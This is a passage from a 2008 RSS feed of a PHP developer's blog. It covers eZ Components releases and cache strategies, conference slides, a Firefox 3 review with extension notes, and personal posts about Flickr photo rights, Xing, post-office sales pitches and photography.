title="http://en.wikipedia.org/wiki/Cache_algorithms" onmouseover="window.status='http://en.wikipedia.org/wiki/Cache_algorithms';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">cache algorithms</a>: Least Recently Used (LRU) and Least Frequently Used (LFU). The first one keeps track on when a cache item was last used and discards items that have not been used for the longest time, in case a storage runs full. LFU, in contrast to that, purges items that have been used least frequently. If none of these strategies fits your needs, you can always implement your own strategy, quite easily.</p> <p>Using the cache stack with an appropriate replacement strategy allows you to simply ignore which items are stored where and simply use the stack as your only cache storage.</p> <p>There are lots of other cool things in the 2008.1 package, which was released last Monday. We have 3 new components: <a href="http://schlitt.info/applications/blog/exit.php?url_id=4617&amp;entry_id=605" title="http://ezcomponents.org/docs/api/trunk/classtrees_Document.html" onmouseover="window.status='http://ezcomponents.org/docs/api/trunk/classtrees_Document.html';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Document</a>, to parse and render different document formats, <a href="http://schlitt.info/applications/blog/exit.php?url_id=4618&amp;entry_id=605" title="http://ezcomponents.org/docs/api/trunk/classtrees_Feed.html" onmouseover="window.status='http://ezcomponents.org/docs/api/trunk/classtrees_Feed.html';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Feed</a>, for creation and aggregation of XML feeds, and <a href="http://schlitt.info/applications/blog/exit.php?url_id=4619&amp;entry_id=605" title="http://ezcomponents.org/docs/api/trunk/classtrees_Search.html" onmouseover="window.status='http://ezcomponents.org/docs/api/trunk/classtrees_Search.html';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Search</a>, which is a search engine abstraction layer, modelled after the PersistentObject component. Beside that, some other components got major new features. Feedback as usually highly appreciated. Enjoy!</p> Sun, 22 Jun 2008 11:50:00 +0200 http://schlitt.info/applications/blog/index.php?/archives/605-guid.html http://creativecommons.org/licenses/by-nd/2.5/cache ez components feature php release eZ Conference: A technical view on eZ Components slides http://schlitt.info/applications/blog/index.php?/archives/604-eZ-Conference-A-technical-view-on-eZ-Components-slides.html http://schlitt.info/applications/blog/index.php?/archives/604-eZ-Conference-A-technical-view-on-eZ-Components-slides.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=604 1 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=604 nospam@example.com (Tobias Schlitt) <p>I'll be giving a session on the technical aspects of <a href="http://schlitt.info/applications/blog/exit.php?url_id=4607&amp;entry_id=604" title="http://ezcomponents.org" onmouseover="window.status='http://ezcomponents.org';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">eZ Components</a> in about 20 minutes at the annual <a href="http://schlitt.info/applications/blog/exit.php?url_id=4608&amp;entry_id=604" title="http://conference.ez.no" onmouseover="window.status='http://conference.ez.no';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">eZ Conference</a> here in Skien, Norway. Here are my <a href="http://schlitt.info/applications/blog/exit.php?url_id=4610&amp;entry_id=604" title="http://schlitt.info/download/ezconf2k8_ezc_state_tobias_schlitt.zip" onmouseover="window.status='http://schlitt.info/download/ezconf2k8_ezc_state_tobias_schlitt.zip';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">slides</a> of this presentation for download. It also includes code examples for many new features in our most recent release 2008.1 (hot, just fron Tuesday). I'll write some more about that later.</p> <p><b>Update</b> (2008-06-20, 15:13): I messed up with the download link, which is fixed now.</p> Fri, 20 Jun 2008 13:32:00 +0200 http://schlitt.info/applications/blog/index.php?/archives/604-guid.html http://creativecommons.org/licenses/by-nd/2.5/conference ez components ez conference php Firefox 3 out now http://schlitt.info/applications/blog/index.php?/archives/603-Firefox-3-out-now.html http://schlitt.info/applications/blog/index.php?/archives/603-Firefox-3-out-now.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=603 8 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=603 nospam@example.com (Tobias Schlitt) <p>Last night the Mozilla developers released <a href="http://schlitt.info/applications/blog/exit.php?url_id=4589&amp;entry_id=603" title="http://www.spreadfirefox.com/en-US/worldrecord/" onmouseover="window.status='http://www.spreadfirefox.com/en-US/worldrecord/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Firefox 3.0</a> to the wild. Congratulations for the new major version!</p> <p><div style="text-align: center;"><a href="http://schlitt.info/applications/blog/exit.php?url_id=4589&amp;entry_id=603" title="http://www.spreadfirefox.com/en-US/worldrecord/" onmouseover="window.status='http://www.spreadfirefox.com/en-US/worldrecord/';return true;" onmouseout="window.status='';return true;"><img src="http://sfx-images.mozilla.org/affiliates/Buttons/firefox3/468x60.png" border="0" width="468" height="60" alt="468x60.png" /></a></div></p> <p>I've been using the RCs since some weeks to see what the new version can. My impressions are a bit mixed. On the one hand, I love the new rendering, which seems much faster and smooth. The new bookmark management is quite cool and after some fiddling I also got my foreward/backward button back, which is 1 button instead of 2 now. Luckily, most of my favorid extensions already have adopted Firefox 3 and run smoothly. <a href="http://schlitt.info/applications/blog/exit.php?url_id=4590&amp;entry_id=603" title="https://addons.mozilla.org/en-US/firefox/addon/60" onmouseover="window.status='https://addons.mozilla.org/en-US/firefox/addon/60';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Web developer toolbar</a>, <a href="http://schlitt.info/applications/blog/exit.php?url_id=4591&amp;entry_id=603" title="https://addons.mozilla.org/en-US/firefox/addon/220" onmouseover="window.status='https://addons.mozilla.org/en-US/firefox/addon/220';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Flashgot</a>, <a href="http://schlitt.info/applications/blog/exit.php?url_id=4592&amp;entry_id=603" title="https://addons.mozilla.org/en-US/firefox/addon/1865" onmouseover="window.status='https://addons.mozilla.org/en-US/firefox/addon/1865';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Adblock plus</a>, <a href="http://schlitt.info/applications/blog/exit.php?url_id=4593&amp;entry_id=603" title="https://addons.mozilla.org/en-US/firefox/addon/433" onmouseover="window.status='https://addons.mozilla.org/en-US/firefox/addon/433';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Flashblock</a>, <a href="http://schlitt.info/applications/blog/exit.php?url_id=4594&amp;entry_id=603" title="https://addons.mozilla.org/en-US/firefox/addon/189" onmouseover="window.status='https://addons.mozilla.org/en-US/firefox/addon/189';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Google preview</a>, <a href="http://schlitt.info/applications/blog/exit.php?url_id=4595&amp;entry_id=603" title="https://addons.mozilla.org/firefox/addon/26" onmouseover="window.status='https://addons.mozilla.org/firefox/addon/26';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Download Statusbar</a>, <a href="http://schlitt.info/applications/blog/exit.php?url_id=4596&amp;entry_id=603" title="https://addons.mozilla.org/firefox/addon/748" onmouseover="window.status='https://addons.mozilla.org/firefox/addon/748';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Greasemonkey</a> and the <a href="http://schlitt.info/applications/blog/exit.php?url_id=4597&amp;entry_id=603" title="https://addons.mozilla.org/en-US/firefox/addon/138" onmouseover="window.status='https://addons.mozilla.org/en-US/firefox/addon/138';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">StumbleUpon</a> work nicely. <a href="http://schlitt.info/applications/blog/exit.php?url_id=4598&amp;entry_id=603" title="http://getfirebug.com/releases/allReleases.html" onmouseover="window.status='http://getfirebug.com/releases/allReleases.html';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Firebug</a> ist still in beta state for 3.0, but also works fine so far.</p> <p>However, there are still some, which did not see new releases for ages and therefore do not seem to be even near to a Firefox 3 version. I needed to switch from <a href="http://schlitt.info/applications/blog/exit.php?url_id=4599&amp;entry_id=603" title="https://addons.mozilla.org/firefox/addon/12" onmouseover="window.status='https://addons.mozilla.org/firefox/addon/12';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">All-In-One-Gestures</a> to <a href="http://schlitt.info/applications/blog/exit.php?url_id=4600&amp;entry_id=603" title="https://addons.mozilla.org/en-US/firefox/addon/6366" onmouseover="window.status='https://addons.mozilla.org/en-US/firefox/addon/6366';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Firegestures</a>, which was fine, since I mostly use the &quot;back&quot; functionality which works the same in both. <a href="http://schlitt.info/applications/blog/exit.php?url_id=4602&amp;entry_id=603" title="https://addons.mozilla.org/en-US/firefox/addon/1122" onmouseover="window.status='https://addons.mozilla.org/en-US/firefox/addon/1122';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Tab Mix Plus</a> does not work at all, but is essential for me. Started from the undo close tab history, which gives you a list of recently closed tabs instead of just restoring the last, over the duplicate tab function to the central close button, I'm missing a good part of my used Firefox functionality.</p> <p>I'm a bit sad, that I neither have the time nor the possibility to dig deeper into XUL stuff to fix the issues myself, which would be the open source way to do it. However, I still hope that someone else out there will have or that other people will come up with a different extension which brings the same nice features. So long, I can live quite good with Firefox 3 for now. It still hangs in certain conditions on my system, but that should be fixed in one of the next bug fix releases. I know very well, that X.0 versions are never absolutly stable. Amazing, how stable Firefox 3 already is!</p> <p><b>In that sense, great work, Firefox hackers!</b></p> <p>Everyone out there should download and try out Firefox 3.0 today, to help with building the desired <a href="http://schlitt.info/applications/blog/exit.php?url_id=4589&amp;entry_id=603" title="http://www.spreadfirefox.com/en-US/worldrecord/" onmouseover="window.status='http://www.spreadfirefox.com/en-US/worldrecord/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">world record</a>. There have already been more than 250,000 downloads from Germany, as I write this article. So, let's see where this leads. :)</p> <p><b>Update</b> (2008-06-18, 19:08): The <a href="http://schlitt.info/applications/blog/exit.php?url_id=4601&amp;entry_id=603" title="https://addons.mozilla.org/firefox/addon/321" onmouseover="window.status='https://addons.mozilla.org/firefox/addon/321';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Search Status</a> extension works, seems I had disactivated it for some reason.</p> <p><b>Update</b> (2008-06-23, 10:36): Thanks to a comment here, I got aware of a recent <a href="http://schlitt.info/applications/blog/exit.php?url_id=4620&amp;entry_id=603" title="http://tmp.garyr.net/tab_mix_plus-dev-build.xpi" onmouseover="window.status='http://tmp.garyr.net/tab_mix_plus-dev-build.xpi';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">dev build</a> of Tab Mix Plus. Luckily it seems to work quite fine, so my FF3 is near to be complete now. :)</p> Wed, 18 Jun 2008 10:38:00 +0200 http://schlitt.info/applications/blog/index.php?/archives/603-guid.html http://creativecommons.org/licenses/by-nd/2.5/firefox open source release review 6 essential PHP development tools slides from IPC/DLW http://schlitt.info/applications/blog/index.php?/archives/602-6-essential-PHP-development-tools-slides-from-IPCDLW.html http://schlitt.info/applications/blog/index.php?/archives/602-6-essential-PHP-development-tools-slides-from-IPCDLW.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=602 1 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=602 nospam@example.com (Tobias Schlitt) <p>A little bit belated, but as promised during the session, I just uploaded my slides from the talk <a href="http://schlitt.info/applications/blog/exit.php?url_id=4561&amp;entry_id=602" title="http://schlitt.info/misc/ipc2k6s_6_essential_php_tools_tobias_schlitt.zip" onmouseover="window.status='http://schlitt.info/misc/ipc2k6s_6_essential_php_tools_tobias_schlitt.zip';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">6 essential PHP development tools in 60 minutes</a>. Since there is so much to say I actually managed to get 4,5 tools through and for all of these it felt to be too few time. I think I should provide a workshop for the next conference</p> <p>Hope to see you there! 'till next time.</p> Thu, 29 May 2008 10:41:07 +0200 http://schlitt.info/applications/blog/index.php?/archives/602-guid.html http://creativecommons.org/licenses/by-nd/2.5/dlw dlw2k8 ipc2k8s pear php php conference php manual phpdoc phpunit svn xdebug eZ Components status slides from IPC/DLW http://schlitt.info/applications/blog/index.php?/archives/601-eZ-Components-status-slides-from-IPCDLW.html http://schlitt.info/applications/blog/index.php?/archives/601-eZ-Components-status-slides-from-IPCDLW.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=601 0 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=601 nospam@example.com (Tobias Schlitt) <p>You can find my slides from <a href="http://schlitt.info/applications/blog/exit.php?url_id=4560&amp;entry_id=601" title="http://schlitt.info/misc/ipc2k8s_ezc_state_tobias_schlitt.zip" onmouseover="window.status='http://schlitt.info/misc/ipc2k8s_ezc_state_tobias_schlitt.zip';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">The state of eZ Components</a> online now. The talk was quite crowded and I hope to also have attract some new contributors.</p> Wed, 28 May 2008 12:34:31 +0200 http://schlitt.info/applications/blog/index.php?/archives/601-guid.html http://creativecommons.org/licenses/by-nd/2.5/dlw dlw2k8 ez components ipc2k8s php php conference Database abstraction slides from IPC http://schlitt.info/applications/blog/index.php?/archives/600-Database-abstraction-slides-from-IPC.html http://schlitt.info/applications/blog/index.php?/archives/600-Database-abstraction-slides-from-IPC.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=600 2 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=600 nospam@example.com (Tobias Schlitt) <p>I just uploaded my slides from the talk <a href="http://schlitt.info/applications/blog/exit.php?url_id=4559&amp;entry_id=600" title="http://schlitt.info/misc/ipc2k8s_ezc_db_abstraction_tobias_schlitt.zip" onmouseover="window.status='http://schlitt.info/misc/ipc2k8s_ezc_db_abstraction_tobias_schlitt.zip';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Database abstraction with eZ Components</a>. Thanks to the attendees for being so active and even borrowing me a notebook and an USB stick, since the beamer disliked my Thinkpad! :) The slides are CC by (see last slide for details).</p> Tue, 27 May 2008 17:14:29 +0200 http://schlitt.info/applications/blog/index.php?/archives/600-guid.html http://creativecommons.org/licenses/by-nd/2.5/dlw dlw2k8 ez components ipc2k8s php php conference Girl Geek Dinner right before IPC/DLW next week http://schlitt.info/applications/blog/index.php?/archives/599-Girl-Geek-Dinner-right-before-IPCDLW-next-week.html http://schlitt.info/applications/blog/index.php?/archives/599-Girl-Geek-Dinner-right-before-IPCDLW-next-week.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=599 1 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=599 nospam@example.com (Tobias Schlitt) <p>Next week the <a href="http://schlitt.info/applications/blog/exit.php?url_id=4554&amp;entry_id=599" title="http://it-republik.de/conferences/dlw-europe/" onmouseover="window.status='http://it-republik.de/conferences/dlw-europe/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Dynamic Languages World</a> conference (aka <a href="http://schlitt.info/applications/blog/exit.php?url_id=4555&amp;entry_id=599" title="http://it-republik.de/php/phpconference/" onmouseover="window.status='http://it-republik.de/php/phpconference/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">International PHP Conference</a> Spring Edition) will be held in Karlsruhe, Germany. <a href="http://schlitt.info/applications/blog/exit.php?url_id=4557&amp;entry_id=599" title="http://girlgeekdinner.de/entry/12/girl_geek_dinner_karlsruhe_260" onmouseover="window.status='http://girlgeekdinner.de/entry/12/girl_geek_dinner_karlsruhe_260';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Nicole organized a Girl Geek Dinner</a> right before the main events start (that means Monday evening). I really like the idea of Girl Geek Dinner, since it's a good attempt to raise the women rate on geek events, which is usually (sadly) extremly low. On the other hand I like to hang around, have some good meal, enjoy a beer and a good technical discussion. Therefore: +1 from my side for <a href="http://schlitt.info/applications/blog/exit.php?url_id=4557&amp;entry_id=599" title="http://girlgeekdinner.de/entry/12/girl_geek_dinner_karlsruhe_260" onmouseover="window.status='http://girlgeekdinner.de/entry/12/girl_geek_dinner_karlsruhe_260';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Girl Geek Dinner</a>. :)</p> Tue, 20 May 2008 22:43:54 +0200 http://schlitt.info/applications/blog/index.php?/archives/599-guid.html http://creativecommons.org/licenses/by-nd/2.5/dlw dlw2k8 ggd ipc ipc2k8s php php conference Removed 1100 photos from Flickr http://schlitt.info/applications/blog/index.php?/archives/598-Removed-1100-photos-from-Flickr.html http://schlitt.info/applications/blog/index.php?/archives/598-Removed-1100-photos-from-Flickr.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=598 12 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=598 nospam@example.com (Tobias Schlitt) <p>After some heavy discussions with <a href="http://schlitt.info/applications/blog/exit.php?url_id=4550&amp;entry_id=598" title="http://kore-nordmann.de" onmouseover="window.status='http://kore-nordmann.de';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Kore</a> and others I researched about German law in respect to individual rights on photos yesterday. Thanks to <a href="http://schlitt.info/applications/blog/exit.php?url_id=4551&amp;entry_id=598" title="http://arne-nordmann.de" onmouseover="window.status='http://arne-nordmann.de';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Arne</a>, who gave me a good <a href="http://schlitt.info/applications/blog/exit.php?url_id=4552&amp;entry_id=598" title="http://de.wikipedia.org/wiki/Recht_am_eigenen_Bild" onmouseover="window.status='http://de.wikipedia.org/wiki/Recht_am_eigenen_Bild';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">starting point</a> (German) for my research. In the end, Kore was mostly right with his interpretation, what made me remove about 1100 photos from my <a href="http://schlitt.info/applications/blog/exit.php?url_id=4553&amp;entry_id=598" title="http://www.flickr.com/photos/tobiasschlitt/" onmouseover="window.status='http://www.flickr.com/photos/tobiasschlitt/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Flickr gallery</a>. All of those showing people dedicatedly where I do not feel to have the explicit permission to publish their pictures. I'll try to explain the reasons, my personal issues and possibly solutions in this article.</p> <br /><a href="http://schlitt.info/applications/blog/index.php?/archives/598-Removed-1100-photos-from-Flickr.html#extended">Continue reading "Removed 1100 photos from Flickr"</a> Sat, 03 May 2008 12:01:00 +0200 http://schlitt.info/applications/blog/index.php?/archives/598-guid.html http://creativecommons.org/licenses/by-nd/2.5/community related law legal issues photography photos php conference privacy RoR does not scale? http://schlitt.info/applications/blog/index.php?/archives/597-RoR-does-not-scale.html http://schlitt.info/applications/blog/index.php?/archives/597-RoR-does-not-scale.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=597 2 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=597 nospam@example.com (Tobias Schlitt) <p>It's interessting to see <a href="http://schlitt.info/applications/blog/exit.php?url_id=4549&amp;entry_id=597" title="http://www.techcrunch.com/2008/05/01/twitter-said-to-be-abandoning-ruby-on-rails/" onmouseover="window.status='http://www.techcrunch.com/2008/05/01/twitter-said-to-be-abandoning-ruby-on-rails/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">more people abandoning Ruby on Rails</a>. Not that I have something against Ruby itself, but it really seems to me that RoR does not scale. Hope Twitter tries with PHP. ;)</p> Fri, 02 May 2008 00:26:40 +0200 http://schlitt.info/applications/blog/index.php?/archives/597-guid.html http://creativecommons.org/licenses/by-nd/2.5/php ruby on rails scalability Human support and feature requests at Xing http://schlitt.info/applications/blog/index.php?/archives/596-Human-support-and-feature-requests-at-Xing.html http://schlitt.info/applications/blog/index.php?/archives/596-Human-support-and-feature-requests-at-Xing.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=596 0 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=596 nospam@example.com (Tobias Schlitt) <p>I like <a href="http://schlitt.info/applications/blog/exit.php?url_id=4545&amp;entry_id=596" title="http://xing.com" onmouseover="window.status='http://xing.com';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Xing</a>. I actually like some of the social networks, although I think there are far to many of them. However, Xing is useful to me for keeping my address book updated by my business contacts themselves and to be up2date about who is doing what. Nice! I'm also a &quot;premium&quot; (in the sense of paying) user in Xing. On the one hand because that gives me some nice additional features and safes me from advertisement. On the other one because I think paying for a good online service is a good idea.</p> <p>What I really wonder is: What happens to the feature requests and support questions I address to Xing? I don't really have the impression anyone takes care in anyway. Therefore I'd like to tell you the story of 2 tiny feature requests I addressed to Xing some months ago and several times since then. I think, I did not request features that are too difficult to realize. Now, I don't have any clue about web applications, so I might be wrong in this impression. ;) I'm also quite sure that many more people out there would love to see the same stuff realized, so it's not even that they consider my questions too useless for a qualified response.</p> <p>However, whenever I send them a message via their contact form, I receive an autogenerated message ala &quot;Thanks for your request, we take our users requests serious&quot; a few hours later. Good to hear, that their system at least received my message. Another one, probably also auto-generated, that says &quot;We forwarded your message to the development department.&quot; flies to my inbox usually a few days or weeks. Good to see, you take care over there at Xing! Although this is the final message I received about every such request.</p> <p>No, to stay seriously and keep sarcasm away, is anyone taking care? I can't believe. I requested one and the same feature 3 times now and another one 2 times already. Without any response that seemed to be written by anything else than a computer. I'm not even sure that any human being ever read my mails. Maybe they have some fancy text recognition tool that generates standard replies automatically? Is it so hard to send a reply like &quot;Sorry, we are not able to realize this, because...&quot; or &quot;Sorry, we don't think that feature Foo Bar is useful to our users, because...&quot;? Is it so hard to give a use the feeling that anyone really takes care? Possibly I just asked the wrong question. If it is that way, please let me know.</p> <p>To let you finally know what I want: Xing offers an RSS feeds for a lot of stuff. From the latest visitors of my profile to any <del>pointless</del><ins>important</ins> status messages, I can see everything right away in my feed reader. Why the hell not the next birthdays of my contacts? Why can I see &quot;Foo Bar likes Xing status messages&quot; in my <a href="http://schlitt.info/applications/blog/exit.php?url_id=4546&amp;entry_id=596" title="http://torii.org" onmouseover="window.status='http://torii.org';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Torii</a>, but not who has his birthday today? The second <del>tiny</del><ins>huge</ins> feature I requested could even be more difficult to realize: Xing let's you link additional information about you from your profile. Beside your website you can share links to other social networks there, like Flickr or LastFM and a whole load of others I did not even hear of. Why is <a href="http://schlitt.info/applications/blog/exit.php?url_id=4547&amp;entry_id=596" title="http://ohloh.com" onmouseover="window.status='http://ohloh.com';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Ohloh</a> still missing? Guys, I'm paying for your stuff, did you realize?</p> <p>Would be interessting to know if anyone ever had success with a feature request at Xing, or if they just implement what the think is useful for their users?</p> Tue, 15 Apr 2008 20:01:00 +0200 http://schlitt.info/applications/blog/index.php?/archives/596-guid.html http://creativecommons.org/licenses/by-nd/2.5/annoyance feature support xing Fighting "personal spam"? http://schlitt.info/applications/blog/index.php?/archives/595-Fighting-personal-spam.html http://schlitt.info/applications/blog/index.php?/archives/595-Fighting-personal-spam.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=595 0 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=595 nospam@example.com (Tobias Schlitt) <p>I've been to the Dortmund post office quite often lately, mostly because I'm never at home when the postman wants to deliver my packages. The largest German post service provider &quot;Deutsche Post AG&quot; also owns a bank, the &quot;Postbank&quot;. While they did not bother me with any of that stuff earlier, their advertisement for non-postal and postal products starts getting more and more annoying. But let me start at the beginning...</p> <p>While queuing inside the office to get to a counter, you need to stand between shelves that contain other stuff they sell at the post office: Stationery, cellphones, home phones and much more. Since you usually queue between 10 and 30 minutes you get enough time to read all those nice advertisement slogans. Right before you get to a counter, there is a large LCD screen that constantly shows a mixture of recent news and more and more advertisement: Banking stuff, cellphones, postal services and so on. When you finally make it to the counter, the staffer is usually unfriendly and not the fastest one. However, we are used to this for ages now and it's not the point of this article. When you are finally done hand happy to hold the latest DVD from Amazon in your hands, the staffer suddenly gets friendly: &quot;Do you already have an account at Postbank?&quot;. A friendly &quot;No thanks&quot; does not work: &quot;A just wanted to make sure you noticed...&quot;. &quot;No, thank you!&quot;. &quot;But it's about your future! Do you know you can save...&quot;. &quot;I am sorry, but I already have a bank account and I do not want to change!&quot;.</p> <p>After I had this situation for the 3rd time within a week now, I tend to simply lie to those people: I now tell them I'd still work for my old employer which also was a bank. This seems to work perfectly fine and they even reply with &quot;Oh, sorry for disturbing you&quot; and let you go. However, I wonder if there isn't any legal remedy I have against such spam? It is illegal to send me emails about drugs I'm not interessted in, but to spam me personally about banking services I don't want?</p> Thu, 03 Apr 2008 18:54:21 +0200 http://schlitt.info/applications/blog/index.php?/archives/595-guid.html http://creativecommons.org/licenses/by-nd/2.5/advertisement annoyance personal spam My new hobby http://schlitt.info/applications/blog/index.php?/archives/594-My-new-hobby.html http://schlitt.info/applications/blog/index.php?/archives/594-My-new-hobby.html#comments http://schlitt.info/applications/blog/wfwcomment.php?cid=594 2 http://schlitt.info/applications/blog/rss.php?version=2.0&type=comments&cid=594 nospam@example.com (Tobias Schlitt) <p>As I already <a href="http://schlitt.info/applications/blog/exit.php?url_id=4528&amp;entry_id=594" title="http://schlitt.info/applications/blog/index.php?/archives/593-Berlin-trip-Dance-of-the-Vampires.html" onmouseover="window.status='http://schlitt.info/applications/blog/index.php?/archives/593-Berlin-trip-Dance-of-the-Vampires.html';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">mentioned earlier</a>, I recently bought a brand new <a href="http://schlitt.info/applications/blog/exit.php?url_id=4529&amp;entry_id=594" title="http://imaging.nikon.com/products/imaging/lineup/digitalcamera/slr/d80/index.htm" onmouseover="window.status='http://imaging.nikon.com/products/imaging/lineup/digitalcamera/slr/d80/index.htm';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Nikon D80</a> and started with a new hobby: <a href="http://schlitt.info/applications/blog/exit.php?url_id=4530&amp;entry_id=594" title="http://www.flickr.com/photos/tobiasschlitt/" onmouseover="window.status='http://www.flickr.com/photos/tobiasschlitt/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Photography</a>. :) With this entry I'd like to share some first experiences in this direction. The D80 seems to be a very good camera, I'm really amazed about its poissibillities. It is the best non-professional Nikon camera, AFAIK, and might be even a bit oversized for a photo beginner like me. Until now I only had experiences with compact cams and the D80 is my first DSLR (digital single lens reflex) camera. However, I'm very interessted in photography so I'm sure I will grow with this camery quite fast. The source of my interest are inspiring photographers in my surrounding: <a href="http://schlitt.info/applications/blog/exit.php?url_id=4531&amp;entry_id=594" title="http://flickr.com/photos/derickrethans/" onmouseover="window.status='http://flickr.com/photos/derickrethans/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Derick</a>, <a href="http://schlitt.info/applications/blog/exit.php?url_id=4532&amp;entry_id=594" title="http://flickr.com/photos/sebastian_bergmann/" onmouseover="window.status='http://flickr.com/photos/sebastian_bergmann/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Sebastian</a>, <a href="http://schlitt.info/applications/blog/exit.php?url_id=4533&amp;entry_id=594" title="http://flickr.com/photos/helly25/" onmouseover="window.status='http://flickr.com/photos/helly25/';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Marcus</a> and most recently also <a href="http://schlitt.info/applications/blog/exit.php?url_id=4534&amp;entry_id=594" title="http://kore-nordmann.de/photos/index.html" onmouseover="window.status='http://kore-nordmann.de/photos/index.html';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Kore</a> and <a href="http://schlitt.info/applications/blog/exit.php?url_id=4535&amp;entry_id=594" title="http://westhoffswelt.de/photos/light_games.html" onmouseover="window.status='http://westhoffswelt.de/photos/light_games.html';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">Jakob</a>. In addition, I love great photos and always wanted to be able to take those on my own. The final clincher was the <a href="http://schlitt.info/applications/blog/exit.php?url_id=4528&amp;entry_id=594" title="http://schlitt.info/applications/blog/index.php?/archives/593-Berlin-trip-Dance-of-the-Vampires.html" onmouseover="window.status='http://schlitt.info/applications/blog/index.php?/archives/593-Berlin-trip-Dance-of-the-Vampires.html';return true;" onmouseout="window.status='';return true;" onclick="window.open(this.href, '_blank'); return false;">experience with Kores D70s in Berlin</a>.</p> <p><div style="text-align: center;"><a href="http://schlitt.info/applications/blog/exit.php?url_id=4537&amp;entry_id=594" title="http://www.flickr.com/photos/tobiasschlitt/2382602257/in/set-72157604344263840/" onmouseover="window.status='http://www.flickr.com/photos/tobiasschlitt/2382602257/in/set-72157604344263840/';return true;" onmouseout="window.status='';return true;"><img src="http://farm3.static.flickr.com/2111/2382602257_20e9b660a0_m.jpg" border="0" width="240" height="161" alt="2382602257_20e9b660a0_m.jpg" /></a> <a href="http://schlitt.info/applications/blog/exit.php?url_id=4538&amp;entry_id=594" title="http://www.flickr.com/photos/tobiasschlitt/2382616989/in/set-72157604344263840/" onmouseover="window.status='http://www.flickr.com/photos/tobiasschlitt/2382616989/in/set-72157604344263840/';return true;" onmouseout="window.status='';return true;"><img src="http://farm4.static.flickr.com/3071/2382616989_c92a559875_m.jpg" border="0" width="240" height="161" alt="2382616989_c92a559875_m.jpg" /></a></div></p> <p>To get started with started with the subject, Jakob recommended <a href="http://schlitt.info/applications/blog/exit.php?url_id=4539&amp;entry_id=594" 